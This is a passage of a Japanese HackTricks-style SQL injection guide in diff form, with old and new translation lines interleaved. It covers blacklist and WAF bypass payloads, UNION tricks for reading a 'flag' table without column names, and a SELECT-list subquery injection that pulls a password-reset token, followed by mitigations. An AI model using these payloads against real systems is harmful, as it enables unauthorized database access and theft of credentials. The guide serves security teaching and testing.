キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
キーワードを使用したBlacklist - uppercase/lowercase を使ってbypass
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
キーワードを大文字小文字を区別せずにブラックリスト化 - 同等の演算子を使用してバイパス
Blacklist が keywords を case insensitive に使用している場合 - equivalent operator を使って bypass する
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -525,30 +564,57 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### Scientific Notation WAF bypass
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用することができます
このトリックの詳細な説明は [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
基本的に、scientific notation を予期しない方法で用いることで WAF を回避できます:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### カラム名制限のバイパス
### カラム名制限の回避
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag`
まず、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持つ場合**、単に次のようにできることに注意してください: `0 UNION SELECT * FROM flag`
**名前を使用せずにテーブルの第三カラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
次のようなクエリを使うことで、**名前を使わずにテーブルの3番目のカラムにアクセスする**ことが可能です: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`したがって、sqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
**カンマバイパス**を使用すること
または **comma bypass** を使用する
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました
このトリックは [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) から取られました
### WAFバイパスサジェスターツール
### Column/tablename injection in SELECT list via subqueries
ユーザ入力が SELECT リストや table/column identifiers に連結される場合、prepared statements は役に立ちません。なぜなら bind parameters は values のみを保護し、identifiers は保護しないからです。よくある脆弱なパターンは:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
悪用のアイデア: フィールド位置にサブクエリを注入して任意のデータを外部に持ち出す:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
注意:
- この手法は WHERE句 がバウンドパラメータを使用している場合でも機能します。識別子リストが依然として文字列連結されるためです。
- 一部のスタックでは追加でテーブル名を制御できるtablename injection、これによりクロステーブル読み取りが可能になります。
- 出力スINKは選択された値を HTML/JSON に反映する可能性があり、XSS やレスポンスからのトークン流出を直接許すことがあります。
Mitigations:
- ユーザー入力から識別子を連結してはなりません。許可する column 名を固定の allow-list にマップし、識別子を適切にクォートしてください。
- 動的なテーブルアクセスが必要な場合は、有限のセットに制限し、安全なマッピングからサーバー側で解決してください。
### WAF バイパス提案ツール
{{#ref}}
@ -567,5 +633,8 @@ https://github.com/m4ll0k/Atlas
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
## 参考
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}